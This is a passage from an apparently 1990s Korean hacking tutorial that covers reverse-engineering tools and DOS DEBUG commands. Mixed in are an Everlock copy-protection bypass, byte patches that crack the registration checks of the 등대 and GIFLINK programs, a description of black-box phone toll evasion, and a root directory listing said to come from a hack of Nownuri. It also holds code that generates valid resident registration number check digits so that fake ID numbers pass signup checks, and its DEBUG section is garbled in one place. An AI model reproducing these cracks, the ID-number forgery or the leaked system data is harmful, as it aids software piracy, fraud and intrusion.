해크 Hack 기본교범 3

19회 강좌입니다.

나머지 해킹 유틸에 대해서 이야기 하겠습니다.


2-1-2 PC 헤커의 필수품 map.com

메모리멥을 보는 프로그램이나 인터럽트 벡터를 보여주거나 하는 기능을 하는 프로그램은
참 많다.
추적을 하는 프로그램도 그렇다.
그러나 램상주시켜놓고 필요할때마다 팝업해서 메모리상태를 보고,그걸 8086코드로 보여주고
원한다면 아스키로도 보여주고,어떤  인터럽트가 어떤 프로그램에 의해서 사용되고 있는지  그 프
로그램은 어떤 프로그램인지 이 유용한기능을 모두 넣어놓은 것이 바로 map.com 이다.


2-1-3 좋고 짧은 디스어셈블러 크래커

크래커라는 상당히 괜찮은 디스 어셈블러 이다.


2-1-4 소프트아이스 Win v1.1

소프트 아이스의 윈도우용 버전이다.

소프트 아이스 Win 보호모드에서 작동을 할수 있다.

 기동법은 먼저 본 프로그램을 윈도우 디렉토리내의
 임의의 디렉토리에 카피를 한후에 path를 추가한다.

 추가를 하고 나서 다시 부팅을 하셔서 winice.exe를
 실행 하시면 소아win이 win.com을 실행 시킨다.

 그다음은 도스쉘로 빠져 나와서 추적하고픈 프로그램을
 실행하고 난뒤에 CTRL+D를 누르면 된다.

 소프트-아이스 Win을 무리없이 쓰실려면 윈도우의 system.ini의
 내용을 에디트 하여 386Enh항목에 DMADRIVESIZE=044를 추가하여야 한다.




2-1-5  SOURCER

소서는 디버그(Debug)의 U(Unassemble) 명령처럼 역어셈블을  해 주는 프로그램이다.
 소서는 단번에 실행 파일이나 디바이스 드라이버, 2진 파일들을 역어셈블 소스로 바꾸어 준다.

소서는 VGA를 포함한 거의 모든 디스플레이 모드를 지원한다.
소서를 실행시킬 때에 파일 이름을 지정해 주면 파일을 로드할 수 있다.

  예) SR COMMAND.COM      ; COMMAND.COM을 로드하여 실행한다.

1) 소서의 명령어


 1. F1 (Help)

  F1 키를 누르면 Help 화면이 나오는데 이것은 소서에서 사용 가능한
  커맨드를 표시해 준다.


 2. F (file format)

  출력 형식을 LST 또는 ASM 중의 하나에서 선택할 수 있게 해 줍니다.
  LST형식으로 지정한 경우 어셈블리 소스 옆에 해당 명령어의 기계어
  코드와 함께 세그먼트의 값까지 자세하게 표시가 된다.
  어셈블리소스를 연구할 때 이와 같은 파일을 분석하면 좋다.
  ASM형식으로 지정한 경우 어셈블리의 소스 라인만 얻어진다.


 3. H (Header file)

  LST 형식으로 출력하는 경우에 각 페이지의 선두에 인쇄하는 색인을
  32바이트까지 문자로 입력한다.


 4. X (Cross referance on/off)

  데이터의 참조, 로케이션 참조, 서브루틴 참조의 세 개의 크로스
  레퍼런스 정보를 온라인코맨드로  출력하는지의 여부를 지정한다.

  ① 데이터의 참조란 데이터 영역의 변수나 정수가 참조되고 있는가를
     옵셋의 주소 표기 방식으로 지정하는 것을 말한다.

  ② 로케이션 참조란 분기선 등을 지정하는 라인이 어느 장소에서 참조
     되고 있는가를 나타내어 준다.

  ③ 서브루틴 참조란 서브루틴이 어디에서 호출되는가를 보여준다.


5. S (Segment display on/off)

  LST 파일의 형태로 출력할 때에 세그먼트 값을 붙여서 출력할 것인지의
  여부를 결정해 줍니다.


6. L (Lower or case)

  파일 내용의 영문자들을 대문자, 또는 소문자로 바꾸어 준다.


7. I (Input file)

  어셈블리하고자 하는 파일의 이름을 입력한다.


8. M (Math)

  수치 연산 프로세서의 명령을 지원할 것인지를 결정하여 준다.
  지원하는 수치 연산 프로세서는 8087/80287 이다.


9. U (up)

  만일 여러분이 특정 프로세서의 명령어 세트로 역어셈블하기를 원한다면
  이 명령으로 바꿀 수 있다. 소서는 8086~80486까지의 명령어 세트를
  지원한다. 그러나 V20/V30이 탑재되어 있을 경우에는 자동적으로
  8086모드로 된다.


10. G (Go)

  역어셈블을 시작하는 명령어이다.


2) 소서 활용하기

위의 명령어가 전부인 것은 아니지만, 위의 명령어로도 충분히 역어셈블을 할 수 있다.
그러면 이제 역어셈블을 실제로 해 보자.
소서에서 파일을 부르는 방법은 아까 보았듯이 두가지 방법이 있다.

첫째는 소서 실행시에 'SR [filename]' 이라고 하는 것이고,
둘째는 소서의 화면에서 I를 눌러 파일을 부르는 방법이다.


'SR COMMAND.COM'이라고 쳐 보자.
이 때 물론 COMMAND.COM 이 소서가  실행되는 디렉토리내에 있어야겠다.
그럼 이제 F 를 눌러 보자.
LST 파일과 ASM 파일 둘 중에 하나를   선택해서 역어셈블을 하는 것이다.
그럼 Output filename이 COMMAND.ASM으로 바뀐 것을 볼 수 있을 것이다.

T를 눌러 보면  타겟 어셈블러라는 곳의 메시지가 바뀔 것이다.
어셈블리어는 각 회사의 컴파일 프로그램에 따라 조금씩 소스 프로그램의 형식이 바뀌어질 수 있
다.
소서는 이러한 각 회사의  컴파일러에 맞추어 역어셈블을 해줌으로 역어셈블된 소스 프로그램을
다시 컴파일할 때 에러가 없이 컴파일 될 수 있도록 해 준다.

소서가 지원하는 컴파일러의 종류는 다음과 같다.

  ① MASM (MicroSoft 사의 어셈블리 컴파일러)
          Version 4.0
          Version 5.0
          Version 5.1
          Version 6.0  * 6.0은 OS/2 2.x의 응용 프로그램 생성을
                         지원한다.

  ② TASM (Borland 사의 어셈블리 컴파일러)
          Version 1.0
          Version 2.x
          Version 3.0

역어셈블한 파일을 다시 컴파일 할 때에  해당 어셈블러의  형태로 변환시키면 컴파일을 하는 데
조금이라도 보탬이 될 것이다.

   문자 U 는 지원할 수 있는 CPU의 종류를 선택할 수 있게 해 준다.
  PS/2 또는 그와 같은 기능을 하는 IBM 호환기종에는 기본적으로
  Intel사의 8086/8088 CPU가 장착되어 있거나 또는 그와 상위 호환성을
  지닌 CPU가 탑재되어 있다.

   이러한 CPU의 각각 명령어 체계는 같으나, 위로 갈수록 지원되는
  명령어의 갯수가 늘어난다. 이러한 CPU에 맞추어 역어셈블을 하면
  해당 CPU의 독특한 특성을 살릴 수 있다. 소서가 지원하는 CPU의
  형태는 다음과 같다.

   ① 8086/8088 또는 상위 호환성을 가지는 CPU
          ⅰ 80186/80188
          ⅱ 80286 Real 모드
          ⅲ 80286 Protected 모드
          ⅳ 80386 Real 모드
          ⅴ 80386 Protected 모드
          ⅵ 80486 Real모드
          ⅶ 80486 Protected 모드

   ② 기타 CPU
          ⅰ V20/30

   여러분이 CPU의 형태에 대해서 특별히 정의를 하지 않는다면 소서는
   실행시에 자동적으로 시스템에 장착되어 있는 CPU를 인식해서 세팅이
   됩니다. 특별히 지정하지 않았을 때에는 8086/8088모드로 세팅되어
   진다. 여기서 여러분이 원하는 형태의 어셈블리스트를 결정하였다면
   G 를 눌러보면 역어셈블이 될 것이다.

   그럼 역어셈블 결과를 살펴보자. 역어셈블이 끝나면 소서는 자동적
   으로 실행을 종료한다. 종료 후에 DIR 명령으로 실제로 역어셈블이
   되었는지를 확인해 보자. 파일 리스트에 COMMAND.ASM과 COMMAND.SDF
   라는 파일이 생성되었음을 확인할 수 있을 것이다


2-1-6  Windows Sorucer
이 프로그램은 Sorucer의 윈도우즈용 프로그램을 분석용이다.
분석을 할  수 있는  것은 윈도우의  EXEs,DLLs,VxDs과 OS/2의  NE등을 분석을  할 수  있다.
출력은 역시 어셈블리어이다.

2-1-7  BIOS Pre-Processor

이 프로그램은 자신이 가지고 있는 컴퓨터의 롬바이오스를 채취를 할 수 있는 프로그램이다.
이것은 씨스템용및 비디오 롬도 끄집어 내고 그밖에 다른 것도 빼낼 수 있다.
그리고 Sorucer를 이용을 하면 어셈블리어로 볼수가 있다.
이 프로그램은 추출만 할 수 있다.


2-1-8 Unpacker

로그램이 압축이 되어있을 경우 그것을 해제를 할때 사용을 한다.
참고로 말을 하자면 DBLSPACE.EXE는 압축이 되어 있다.
이것은 그냥 분석이 되지를 않는다.
이때 이것을 사용을 하면 쉽게 분석이 가능하다.
그밖에 여러가지로 이용의 가치가 있다.오락도 압축이 되어있는 경우가
있다.이것은 LZEXE나 PKLITE로 압축이 되어 있는 것도 풀지만 그밖의 IBM,Microsoft등의 압축
도 풀 수 있다.


2-1-9 Converts COM files to EXE

말그대로 COM파일을 EXE로 변환을 하는 것이다.있으면 좋지만 없어도 상관은 없는 것 같다.


2-1-10  ASM Checker

이것은 일명 Bug Finder이다.이것은 어셈블리어를 공부를 할때 필요한 프로그램이다.

2-1-11  ASMtool

Assembly Analysis Tool이라는 것으로 구조를 분석을 하는 것으로 이것
은 해커에게 꼭 필요한 프로그램이다.가격은 약간 비싸지만 꼭 있어야
한다.출력은 플로우차트로 출력을 할 수 있다.


2-1-12  Converts OBJ files to ASM

OBJ 파일을 역어셈블을 하는 것인데 OBJ를 그냥 역어셈블리어로 출력을
할 수 있다.매우 유용한 프로그램이다.Link를 하지 않고도 바로 부분별로
분석이 가능하다.


2-1-13 Turbo Debuger

각종 디버거 중의 하나로 아주 유명한 프로그램이다.

2-1-14  View-It

거대한 파일을 보거나 그 안의 내용을 검색을 할때 필요한 것이다.최소
10MByte는 가볍게 보거나 검색을 할 수 있는 프로그램이다.


2-1-15 블랙 박스

블루박스톤과 레드박스 실버박스 그린박스의 톤을 발생시키는 "블랙박스" 라는것이 있다.
블랙박스는 전화선에 특별한 전류를 흘려서 상대방이 이쪽으로 전화를 걸때 그쪽이
요금이 나오지 않고 또 추적을 안당하는 이유로 사용되고 있다.
사용시에는 사운드카드가 있어야 한다.
하지만 우리나라는 ESS(Electroic Switch System)을 쓰고 있어서 받아도 별소용이 없다.


2-1-16 에버 락

Everlock 걸린 File 을 직접 풀기 과정은 좀 복잡하니 많은 연습을 필요로 합니다.

Everlock 걸린 화일을 Debug 상에서 Load 합니다.
U 를 치면 이런 내용이 나오게 되어 있습니다.

   Mov Ax,Cs
   Mov Ds,Ax

이런 식으로 나가다가 조금 뒤에

   Nop
   Jmp 0100

이 다음의 4개의 숫자가 중요합니다.
예를들어 12,34,56,78 이라고 되어 있다고 한다면 시작번지를 구하는 방법은

Cs = Cs - 7856H , Ip = 3412
이렇게 구해서 다시 U 를 치면 이것이 원래의 프로그램입니다.
G 를 치십시오.이제는 삑삑거리던 에러가 안 나옵니다.

또한 이 방법은 Exe 화일에만 적용이 됩니다. 그리고 Everlock 버전에 상관이  없습니다.

Evmove 에 대하여 ...

요즘 Everlock 에 걸린 프로그램들이 많이 나오고 있습니다.
이 프로그램들의 원본에는 대개 Evmove.Com 이라는 File 이 있습니다.
그런데 이 Evmove.Com 을 실행시킬때 카운트를 세게 되어 있습니다.
카운트를 줄이지 않는 방법에는 여러가지가 있습니다.
그 중 하나의 방법을 소개합니다.

Evmove A: X: (원하는 드라이브)
Y 라고 치면 곧 쓰기방지가 금지되었다고 나옵니다.
그때 I (Ignore) 키를 계속 누릅니다.
약 10번 정도 누르다 보면 복사가 잘 되었다고 나옵니다.

EverLock 보다는  NeverLock 으로 바꾸는 것이 좋습니다.



팁. 등대 크랙.
크랙 방법은 pctools을 이용한 에디트입니다.
이 방법은 연구용으로 부득이하게 사용하는 것입니다.
실제 이 방법을 전파하거나 하는 행위는 우리나라 S/W 산업을 위축시키는 것이니
삼가해주시기 바랍니다.

1> setup상에서의 크랙
setup프로그램 상에는 정식 등록을 할수 있는 란이 있습니다.
거기서 정식 등록을 마치면 register.dat 라는 화일이 생성됩니다.
그 안에는 등록번호와 등록자의 이름이 저장되어있습니다.
 그러한 과정을 하기 위한 크랙 방법은  pctools상에서 setup.exe화일을 선택한후에
 find기능을 이용해 다음과 같은 코드를 찾아서 다음과 같이 고칩니다.
 3B D3 75 04 3B C1 74 20
                   ~~
                   │
                   └─ 75로 변경을 하십시요.

 그리고 또 한곳을 고쳐야 합니다.

 똑같은 방식으로
 E9 ED 00 3B C1 74 03
                ~~
                │
                └─ 75로 변경을 하십시요.

 이렇게 고치신후 setup.exe 프로그램을 실행시키고 등록메뉴에서 등록을
 하실수 있습니다. 단 등록을 하실때 많은 자리의 숫자는 나중에 다운될 염
 려가 있습니다. 그리고 영문자를 삽입하지 마십시요.

2> lhouse상에서의 크랙
   lhouse.exe프로그램은 주 실행 프로그램입니다.
   다시 말씀을 드리면
   아까와 똑같은 방법으로 다음과 같은 코드를 찾아 변경을 시키십시요.
   find기능으로 연속 찾기 하시면 그 프로그램 전체적으로 2개가 있습니다
   코드는 동일합니다.
   75 27 3B 46 F6 75 22

   이것을 다음과 같이 고칩니다.
   90 90 3B 46 F6 90 90

   이렇게 두군데를 고치면 등대는 크랙이 된것입니다.


다음의 방법도 있습니다.

크랙한 setup.exe프로그램의 크랙방법은 다음과 같이 했습니다.
정식등록을 할수 있는 란을 실행한후 덤프를 합니다.
그리고 소스를 하나씩 분석해 나갑니다. 분석하는 방법은 두가지가 있습니다.
그냥 분석하는 방법과 프로그램 실행을 하면서 하는 방법이 있습니다.
그냥 분석은 많은 시간과 노력이 필요하므로 실행하면서 분석하는 방법을 전 택하고
다른 분들도 그럴것입니다.
실행 방법도 2가지가 있습니다.
명령어 't'를 이용한 방법과 'p'를 이용하는 방법
이 두 방법의 차이점은 사용을 해보시면 금방 아실수 있습니다.
원하시는 코드를 찾으시면 그것을 변경 시키시면 됩니다.
예를 들어 setup.exe을 디스 어셈블하면...다음과 같습니다.

3BD3    CMP DX,BX
7504    JNZ 7A11
3BC1    CMP AX,CX ─┐===> 이 부분이 바로 변경을 원하는 부분의 루틴입
7420    JZ  7A31  ─┘     입니다. 위에 이에 뒷받침해줄 자료가 있지만
                           생략을 했습니다. 그것은 분석가의 재량에 맡
                           기는 수밖에 없습니다. 원하는 자료가 들어오
                           지 않으면 JA31로 점프에 잘못입력했다는 메세
                           지와 함께 BEEP를 내는 루틴으로 갑니다.
                           그럼 아무 값이나 입력 해도 통과 해야 하므로
                           다음과 같이 수정을 하는 것입니다.

3BD3    CMP DX,BX ─┐===> 원하는 곳을 찾기위한 target 코드
7504    JNZ 7A11  ─┘
3BC1    CMP AX,CX ─┐===> 변경된 루틴 이와 같이 하면 어떠한 값이들어
7520    JNZ 7A31  ─┘     와도 JA31로 점프를 하지 않습니다. 단 원하는
                           값이 들어오면 오히려 잘못 입력했다는 메세지
                           를 출력시킴..

그리고 다른 한곳도 위와 같이 하면 됩니다. 그리고 코드의 작용도 위의 상
황과 유사합니다.

3BC1    CMP AX,CX ─┐==> 원하는 코드입니다. 위와 똑같습니다.
7403    JZ  7A78  ─┘
E9E600  JMP 7B5E  ----==> 위의 코드를 찾기위한 target 코드

다음과 같이 바꾸는 것입니다.

3BC1    CMP AX,CX ─┐==> 바뀐 루틴
7503    JNZ 7A78  ─┘
E9E600  JMP 7B5E

이것말고    게임 위자드 프로로도 한번 해보시기 바랍니다.




팁. GIFLINK 1.12 크랙 입니다.
다음은 해당 영역입니다.
실제로 해보시기 바랍니다.

1) 연속 받기할때 3번째 그림부턴 흑백으로 나오던것

   00 00 01 01 00 00 00 DB
   --
   90

2) 마지막 메시지, 약간의 기다림

   74 03 E9 42 01 B8
   -- --
   90 90



팁. 다음은 나우누리의 인터넷 ROOT 영역 리스트입니다.
어떤분이 해킹한 것을 공개하셨습니다.
그냥 가볍게 보시기 바랍니다.

ls
total 11896                    4 a.out-kimgy*
   4 a.out-songjiho*          84 b.tar
   4 bash_history.jooyong      2 buf
  48 bug*                     48 bug-atrix*
   8 chk.sum                   2 deleted/
  92 du-list                  92 du-list.0403
   0 du.list                   2 du.list-sort-an-n
   8 du.list-sort-rest        30 du.list.a-n
  16 du.list.o-z               0 find.out
 176 finger                    2 go
  14 log                     128 mail*
  66 menu.hwp                  2 msg
  10 out                     124 pipdex01.jpg
 170 pipdex0=1.xb              2 pno.txt
   0 pwck.0407              9280 received
 640 received.Z                2 runaway.c-hrhur
 336 shadow                  336 shadow1
   2 shhong                    8 ss*
   2 staff.du                 90 su-success.list
   8 su.root-list             40 su.tar
   6 success.su-root           0 suid.1.23
   4 suid.print*               2 temp*
   2 va_demo/
22 sol:/home1/root>
22 sol:/home1/root>


팁.  주민등록에 관해서.

비비에스 가입시 주민등록 번호를 요구합니다. 그리고 즉각 체크하더군요.
제가 아는 바로는 주민등록 번호 체계도 국가 기밀이라고 하더군요.
그런데 다들 그 체계를 알고있고 프로그램으로 공개하고 있으니........
다음은 주민등록 체크에관한 간단한 소스 몇가지 입니다.
주민등록번호는 끝자리 숫자가 암호입니다.
즉, 앞자리 숫자의 조합을 암호화 알고리즘으로 처리하여 맨 끝자리가 나오는것이죠.
허위 기재시 앞까지는 맞았다 치더라도 끝에거 맞을확률은 10분의 1밖에 안되겠죠?
소스를 보시면 그 원리를 아실겁니다.

>>베이직 소스<<

10 CLS
100 INPUT "--> ",A$
110 A=VAL(MID$(A$,1,1))
120 B=VAL(MID$(A$,2,1))
130 C=VAL(MID$(A$,3,1))
140 D=VAL(MID$(A$,4,1))
150 E=VAL(MID$(A$,5,1))
160 F=VAL(MID$(A$,6,1))
170 G=VAL(MID$(A$,8,1))
180 H=VAL(MID$(A$,9,1))
190 I=VAL(MID$(A$,10,1))
200 J=VAL(MID$(A$,11,1))
210 K=VAL(MID$(A$,12,1))
220 L=VAL(MID$(A$,13,1))
230 M=A*2+B*3+C*4+D*5+E*6+F*7+G*8+H*9+I*2+J*3+K*4+L*5
240 N=M MOD 11
250 O=11-N
260 IF O>9 THEN O=O MOD 10
270 PRINT "*** The Last Number *** :";O
280 PRINT "*** Do You Want To Compute More ? ***"
290 A$=INPUT$(1)
300 IF (A$="N" OR A$="n") THEN 330
310 IF (A$="Y" OR A$="y") THEN 10
320 GOTO 290
330 CLS
340 END


>>파스칼 소스<<

program BIMIL;
 var
  Input  : string[13] ;
  Number : array[1..13] of byte ;
  LastNumber : byte ;
  i : byte ;
  j : word ;

 begin
  writeln('Input Number ,Please.....');
  writeln(' ex) 500123-432156 (if 500123-432156?)');
  write('Input : ');readln(Input);
  for i:=1 to 13 do val(copy(Input,i,1),Number[i],j);
  j:=Number[1]*2+Number[2]*3+Number[3]*4+Number[4]*5
     +Number[5]*6+Number[6]*7+Number[8]*8+Number[9]*9
     +Number[10]*2+Number[11]*3+Number[12]*4+Number[13]*5 ;
  j := j mod 11 ;
  LastNumber:= 11 - j ;
  if LastNumber>9 then LastNumber:=LastNumber mod 10;
  writeln('Last Number : ',LastNumber);
  writeln(' So, Right Number : ',Input,LastNumber);
 end.



>> c 소스<<

/*** a resident registration number checking program by quibbler ***/

main()
{
    char    n[14];
    int LastNo;
    printf("Enter number: 600815-201323 \(if you want 600815-201323x\)");
    printf("\n--> ");
    scanf("%s", n);
    LastNo=12-((n[0]*2+n[1]*3+n[2]*4+n[3]*5+n[4]*6+n[5]*7
           +n[7]*8+n[8]*9+n[9]*2+n[10]*3+n[11]*4+n[12]*5)%11);
    if (LastNo>9) LastNo=LastNo%10;
    printf("\nLast number is %d\n",LastNo);
}

안녕하세요.

20회 강좌입니다.


2-2 디버그의 사용

디버그는 보편적으로 쉽게 많이 사용하는 프로그램이다.
특히 DOS에서 기본적으로 제공된다는게 사용자를 많이 확보한 이유일 것이다.

2-2-1 도움말이다.

        Runs Debug, a program testing and editing tool.
        (실행 디버거,프로그램의 기능점검및 수정 프로 그램)

        DEBUG [[drive:][path]filename [testfile-parameters]]

          [drive:][path]filename  Specifies the file you want to test.
                                  (당신이 점검하고자 하는 것을 쓰는 것임)
          testfile-parameters     Specifies command-line information requir-
                                  ed by the file you want to test.
                                  (디버거의 코멘드 라인에서 실행을 바로 할
                                  코멘드의 입력)
        After Debug starts, type ? to display a list of debugging commands.
        (디버거가 실행한 후,'?'라고 치면 도움말이 화면에 나타냅니다.)

         <디버거 코멘드 쓸수 있는 명령어의 해설>

            assemble     A [address]
            어셈블          주소
               ;- 어셈블어를 직접치면 해당 번지에 번역이 되어서 바로 들어
                 간다.(해당 언어는 8086/8087/8088만임)
            compare      C range   address
             비교          비교값   주소
               ;- 비교값을 가지고 그값이 나올때 까지 비교를 하고 같은 값
                 이 있으면 멈추고 어드레스를 화면에 나타낸다.시작은 지정
                 을 해주는 주소부터 시작을 한다.
            dump         D [range]
            덤프            숫자
               ;- 숫자만큼의 HEX코드를 화면에 나타낸다.
            enter        E address [list]
            엔터           어드래스 목록
               ;- 지정된 주소에서 시작을 하는 메모리의 부분을 지정된 값으
                 로 채웁니다.
            fill         F range list
            채우기          크기  채울값(복수 허용)
               ;- 채울값을 크기 만큼 채운다.
            go           G [=address] [addresses]
            실행            주소       중단점
               ;- 현제 메모리에 있는 프로그램을 싱행합니다.
            hex          H value1 value2
            16진수          수치1  수치2
               ;- 지정한 두 매개변수 사이에 16진수 연산을 수행합니다.
            input        I port
            입력           포트
               ;- 지정한 포트에서 한바이트를 읽고 나타냅니다.
            load         L [address] [drive] [firstsector] [number]
            읽어드리기      주소      드라이브  시작위치    수치
               ;- 메모리로 파일 또는 디스크 섹터들을 읽어들입니다.
            move         M range address
            이동           범위  주소
               ;- 메모리의 블럭을 이동합니다.
            name         N [pathname] [arglist]
            이름            경로       파일이름
               ;- L(읽어드리기) 또는 W(쓰기) 명령에 대한 실행 파일이름을
                 지정하거나 수정될 실행 파일에 매개 변수를 지정합니다.
            output       O port byte
            출력                       포트 바이트값
               ;- 출력 포트에 한 바이트의 값을 보냅니다.
            proceed      P [=address] [number]
            수행            주소        수치
               ;- 루프,반복된 문자열 명령,소프트웨어 인터럽트 또는 목적
                 달성을 위한 서브루틴(Subroutine) 호출을 수행하거나 그외
                 의 다른 명령을 추적을 합니다.
            quit         Q
            종료
               ;- 현재 작업 파일을 저장하지 않고 디버그를 끝냅니다.
            register     R [register]
            레지스터        레지스터
               ;- 중앙처리장치(CPU)에서 하나 또는 그 이상의 레지스터 내
                 용을 나타내거나 바꿉니다.
            search       S range list
            찾기           범위  목록
               ;- 하나 또는 그 이상의 바이트 값의 모양을 지정된 범위에
                 서 찾습니다.
            trace        T [=address] [value]
            추적            주소        수치
               ;- 한 명령을 수행하고 모든 레지스터,플래그,해독된 명령을
                 나타냅니다.
            unassemble   U [range]
            역어셈블        범위
               ;- 바이트를 역어셈블(Disassemble)하고,주소와 바이트 값을
                 포함하여 그에 대응되는 원래의 문장을 나타냅니다.역어셈블
                 코드는 어셈블된 파일의 목록처럼 보입니다.
            write        W [address] [drive] [firstsector] [number]
            쓰기            주소      드라이브  시작위치    수치
               ;- 디스크에 수정된 파일을 기록합니다.(이 명령어는 매우 위
                 험성을 가지고 있는 것으로 사용에 주의를 요합니다.)


2-2-2 디버그(DEBUG.EXE)의 사용예이다.

디버그의 명령어와 적용 예.

    <ASSEMBLE>
      명령어 : ASSEMBLE
      기능   : 8086/8087/8088 프로세서의 니모닉 코드를 직접
              기억장치로 번역해 넣는다.
      문법   : A <Adress>

   문법적 에러가 발견되면 "^ Error"라고 표시되고 현재의 어셈블리
  번지가 다시 나타난다.  모든 수치는 16진수여야 하며 네 자리까지
  허용된다.   접두 니모닉은 그것이 가리키는 Opcode의 앞에 나타나
  있어야 하지만 다른 줄에 들어 있을 수도 있다.

  세그먼트를 변경시키는 니모닉은 CS: DS: ES: SS: 이고 Far return을
  나타내는 니모닉은 RETF이다.  또한 스트링 처리용 니모닉은 스트링
  의 길이를 반드시 명시해야 한다.  예를 들어 워드 스트링을 옮길
  때는 "MOVSW" Byte 스트링을 옮길 때는 "MOVSB"를 사용한다.

  어셈블러는 SHORT, NEAR, FAR, JUMP와 CALL명령을 만나면 지정하는
  곳이 어딘가에 따라 그 거리를 자동적으로 계산한는데 NEAR나 FAR
  와 같은 접두어를 써서 변경시킬 수 있다. 예를 들면,

     0100:0100 JMP 502  ; 2byte short jump
     0100:0102 JMPNEAR 505(JMP NEAR 505)  ; 3byte near jump
     0100:0105 JMPFAR 50A (JMP FAR 50A)   ; 5byte far jump

  NEAR는 NE로 줄여 쓸 수 있으나, FAR는 줄여 쓸 수 없다.

  DEBUG 프로그램이 오퍼랜드가 지정하는 곳의 길이가 워드인지 BYTE
  인지 알 수 없을 때는 "WORD PTR"이나 "BYTE PTR"과 같은 접두어를
  사용해서 명시해 줘야한다.  예를 들면,
        예: NEG BYTE PTR [128]
            DEC WO[SI}

   여기서 "WORD PTR" 은 "WO"로 "BYTE PTR"은 "BY"로 줄여 쓸 수
  있다. (Debug에서만 가능 합니다.)
   또한 오퍼랜드가 기억 장치를 가리키고 있는지 또는 자료
  자신인지 알 수 없을 때는 보통 사용하던 방식에 따라 괄호안에
  있는 것은 기억장치 지정으로, 그렇지 않은 것은 자료 자신으로
  구분한다.  예를 들면, 다음과 같다.

       예: mov ax, 19        ; 19를 AX 레지스터에 옮긴다.
           mov ax, [19]      ; 억장소 DS:0019에 위치하는 워드형
                               자료를 AX에 옮긴다.

  ASSEMBLE 명령어와 함께 두 개의 의사 명령어를 쓸 수 있는데,
  DB 명령어는 byte 값을 직접 기억 장치에다 넣을 때 쓰이고 DW
  명령어는 워드 값을 넣을 때 쓰인다.   예를 들면,

       예: DB 1, 9, 9, 4, 'Jin Seong Park'
           DW 1111, 2222, 3333, "BACH"

  Assemble 명령어는 모든 레지스터 간접 명령을 제공하는 데
  아래와 같이 쓰인다.

       add bx, 34[BP+2]
       pop [bp+di]
       push [bx]

  또한 모든 명령어에 대해서 그 동의어를 함께 쓸 수 있는데 다음에
  같다.

       loopz 100
       loope 100
       ja    333
       jnbe  333

  8087 프로세서용 명령어를 쓰려면, Wait나 FWait와 같은 접두 명령을
 드시 명시해야 한다.  예를 들면,

       fwait fadd st, st(3)      ; This line will assemble
                                 ; an FWAIT prefix
       ld tbyte ptr[bx]          ; This line will not assemble


    <COMPARE>
      명령어 : COMPARE
      기  능 : <Range>에 의해서 지정된 기억 장치의 일부분을
               <Address>에서부터 시작되는 같은 크기의 부분과
               비교한다.
      문  법 : C <Range> <Address>

   두 부분이 같으면 아무것도 표시되지 않고, 틀리는 부분이 있을
  경우는 아래와 같은 형식으로 내용을 보여준다.

        <Address1> <Byte1> <Byte2> <Address2>

     예: 아래의 두 명령어는 같은 결과를 보이는데 둘 다 100에서
         1FF까지의 기억장치상의 블럭과 300에서 3FF까지의 블럭을
         비교하라는 명령어이다.
             C100, 1FF 300 or C100L100 300


    <DUMP>
      명령어 : DUMP
      기  능 : <Range>에 의해서 지정된 기억장치상의 특정 부분의
               내용을 표시한다.
      문  법 : D <Range>

   <Range>가 주어져 있으면 그 부분의 내용이 표시되고, 주어져 있지
  않으면 이 전에 DUMP 명령어에 의해서 표시되었던 곳 다음 (ds:100)
  에서부터 128byte가 표   사용자 스택 포인터는 이 명령어의
  처리를 위해 적어도 6byte를 지정할 수 있게 되어 있어야 한다.
  이 GO 명령어는 iret 명령을 써서 테스트하는 프로그램으로 jump하게
  된다.   사용자 스택 포인터가 정해지고 사용자 플레그, 코드 세그먼트
  레지스터, 인스트럭션 포인터등이 사용자 스택에 저장된다.
  따라서 사용자 스택이 잘못 되어 거나 너무 좁으면 오퍼레이팅 시스템
  이 망가진다.    인터럽트 코드(0CCH)가 각 중지점에 삽입되게 되는데
  이 중지점을 나타내는 명령을 수행하게 되면, 모든 중지점이 다시 원래의
  명령으로 환원된다.   그러나 중지점에서 끝나지 않으면 원래의 명령으로
  환원되지 않는다.

    예: 다음과 같이 입력하면
       GCS:7777
    현재 기억장소내에 있는 프로그램이 CS세그먼트의 7777h로부터 수행을
    시작하게 되며 수행이 끝나면 래지스터와 플레그의 내용이 표시된다.
    중지점을 만나서 일단 프로그램 실행이 정지된 후 다시 GO 명령어를
    입력하면 다시 중지점에서 부터 실행을 한다.


   DOS의 DEBUG.EXE에 대해 완죤히 철저히 해부합니다.
   일체의 질문은 사양합니다.


    <HEX>
      명령어 : HEX
      기  능 : 주어진 두 파라미터를 가지고 16진수를 계산한다.
      문  법 : H <Value> <Value>

   먼저 두 파라미터를 더하여 그 합을 표시하고 그 다음 첫 번째
  파라미터에서 두 번째 것을 뺀 후 그 차를 같은 줄에 표시한다.

    예: 아래와 같이 입력하면
        H 0 1
        결과값 --> 0001 FFFF


    <INPUT>
      명령어 : INPUT
      기  능 : <Value>에 의해서 지정된 포트로부터 1byte를 읽어 들여
               그 값을 표시한다.
      문  법 : I <Value>

   포트의 번지로는 16Bit숫자를 쓴다.

     예: 아래와 같이 입력하면
         I2F8
         지정된 포트에 있는 데이타 값이 55h라 하면, Debug 프로그램은
         이 값을 받아들이고
             55
         라고 표시한다.

    <LOAD>
      명령어 : LOAD
      기  능 : 파일을 읽어 들여 기억 장소내에 로드한다.
      문  법 : L <address> [<Drive> <Record> <Record>]

   BX:CX에 읽어 들일 파일의 Byte 수를 넣는다.  파일명은 Debug
  프로그램을 불러 수행시키는 명령어를 칠 때처럼 표시하거나
  N 명령어를 써서 표시할 수 있는데, 이 두 방법 모두 CS:5C에 있는
  CONTROL 블럭에서 쓰는 형식에 따라 파일명을 지정해 준다.
   파라미터 없이 L 명령어를 치게 되면 CS:0100에서부터 파일의 내용이
  로드되며 BX:CX에는 읽어 들인 Byte 수가 넣어진다.  <Address>파라미터
  는 파일을 로드하는 시작번지를 지정하며, <Drive> <Record> <Record>
  가 주어지며 파일이 아니라 디스크상의 섹터단위로 로드가 수행된다.
   <Drive>의 지정은 0=A; 1=B; 2=C와 같이 나가며 첫 번째 <Record>
  파라미터로 지정된 섹터에서부터 두 번째 <Record> 파라미터로 지정된
  갯수 만큼의 섹터가 로드된다.

    예: 아래와 같이 DEBUG 프로그램을 시작했다고 가정하면
         C:\debug
         -nfile.com
         이제 file.com이란 파일을 로드시키려면
         -L
         이라고 하면 된다. 그러면 DEBUG 프로그램에 의해서 로드가
         수행되고 다시 DEBUG 프롬프트가("-")가 나타난다.
         어떤 파일의 일부분이나 특정 레코드만을 로드하고 싶을 때의
         예를 들면,

          L0BBA:0100    0          0F             FF
           (Address) (Drive) (처음 읽을 섹터) (255개의 로드할 섹터)

         DEBUG에 의해 15번(0Fh) 레코드에서 시작해서 255개(FFh)의
